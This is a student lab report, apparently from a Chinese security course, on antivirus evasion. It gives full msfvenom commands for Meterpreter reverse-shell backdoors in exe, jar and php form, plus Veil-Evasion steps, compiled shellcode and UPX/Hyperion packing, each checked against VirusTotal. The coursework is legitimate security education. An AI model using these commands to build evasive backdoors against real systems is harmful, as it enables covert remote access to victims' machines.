zoukankan      html  css  js  c++  java
  • 20175201张驰exp3——免杀原理与实践

    一、学习目标

    • (1)正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

    • (2)通过组合应用各种技术实现恶意代码免杀(0.5分)

      (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    • (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    二、基础问题回答

    • 1、杀软是如何检测出恶意代码的?

    • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

    • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

    • 优点:
      可以检测0-day恶意软件
      具有一定通用性

    • 缺点:
      实时监控系统行为,开销稍多
      没有基于特征码的精确度高

    • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    • 2、免杀是做什么?
      使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

    • 3、免杀的基本方法有哪些?

    • (1)改变特征码
      如果你手里只有EXE—— 加壳:压缩壳 加密壳
      有shellcode(像Meterpreter)—— 用encode进行编码;基于payload重新编译生成可执行文件
      有源代码—— 用其他语言进行重写再编译(veil-evasion)

    • (2)改变行为
      通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据
      操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码

    • (3)非常规方法
      使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      使用社工类攻击,诱骗目标关闭AV软件。
      纯手工打造一个恶意软件

    • 4、开启杀软能绝对防止电脑中恶意代码吗?
      回答:不能。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

    三、实验步骤

    1、使用msf编码器msfvenom生成后门程序

    • 查杀网站
      https://www.virustotal.com/
      http://www.virscan.org/

    • 编码一次的命令如下(-e参数为编码):
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.80.130 LPORT=5201 -f exe > 5201encoded.exe

    之后我们可以通过VirusTotal或Virscan这两个网站进行检测,看看能被多少杀软检测出来。

    检出率是26/49

    • 十次命令如下(比之前多加个 -i 10):
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.80.130 LPORT=5201 -f exe > 5201encoded10.exe

    • 检出率是25/49

    • 我们发现多次编码对免杀没有太大的效果,原因如下:
      shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只需要查杀你特征就完事了。

    2、使用Msfvenom生成jar等其他文件

    • 用下面的命令生成jar文件:
      msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 x> 20175201_backdoor_java.jar

    测试一下能不能免杀:

    用下面的命令生成php文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 x> 20175201_backdoor.php

    同样测试一下能不能免杀:

    检出率3/66

    3、Veil-Evasion

    我们首先使用sudo apt-get update命令和sudo apt-get upgrade命令进行更新

    sudo apt-get install veil命令安装Veil

    之后使用veil命令打开Veil,输入y继续安装直至完成(过程十分漫长,十分艰难。。

    我终于成功了...

    输入use evasion,进入veil-evasion

    输入list,可查看可生成文件的格式

    输入命令use c/meterpreter/rev_tcp.py进入配置界面

    依次输入set LHOST 192.168.80.130set LPORT 5201设置反弹连接IP和端口

    输入generate生成文件

    然后我们用Virus Total来检测一下,看看有多少杀软能检测出来

    检出率10/49效果其实还不错了

    4、用shellcode编程生成后门程序

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 -f c生成一段shellcode

    然后我们用vim命令创建一个文件20175201.c,然后将unsigned char buf[]赋值到其中,内容如下:

    使用命令i686-w64-mingw32-g++ 20175201.c -o 20175201.exe编译这个.c文件为可执行文件

    通过Virustotal检测结果如下:

    5、加壳

    给之前的20175201.exe加个壳得到20175201_upx.exe:

    virus totals检测结果:

    通过腾讯管家扫描:

    加密壳(Hyperion)

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    • 进入目录/usr/share/windows-binaries/hyperion/

    • 输入命令wine hyperion.exe -v 20175201_upx.exe 20175201_upx_Hyperion.exe进行加壳:

    通过virus totals:

    (3)通过组合应用各种技术实现恶意代码免杀

    我们可以使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门

    使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳;然后在kali上监听并回连

    三、实验遇到的问题

    1、装veil的时候,缺少Python3.4的包。

    • 解决:
    git clone https://github.com/Veil-Framework/Veil
    cd Veil/config/
    ./setup.sh 
    

    2、没有找到hyperion.exe程序。

    • 按步骤做到这里人懵了,百度有相似的问题,但我尝试都失败了。最后参考了丁文韬同学的博客解决:
    https://www.cnblogs.com/jxxydwt1999/p/12350148.html#_label2_1
    

    四、实验感想

    在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在安装过程中重复error,我百度了很久才解决完安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
    本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,也证明了可以躲避普通杀软,但是通过不了专业的杀毒。实验在之后的学习过程中,我会努力站在攻击者的角度思考,从而避免被恶意代码攻击成功。

  • 相关阅读:
    双日历时间段选择控件—daterangepicker(汉化版)
    vue elementui table表格展开行每次只展开一行
    vue-pdf PDF文件预览
    async await
    vuex发送axios请求
    jq调用浏览器下载文件 window.open()
    禁止页面右键、选择、F12操作
    vue 点击一条消息跳转相应的页面且对应相应的大模块和办理状态
    vue-infinite-scroll 滚动加载下一页
    填写流程当前登录人可以填写除自己可填项外还可看到他前面经办人相关填写的内容,且经办人后面的不可见
  • 原文地址:https://www.cnblogs.com/20175201zc/p/12516658.html
Copyright © 2011-2022 走看看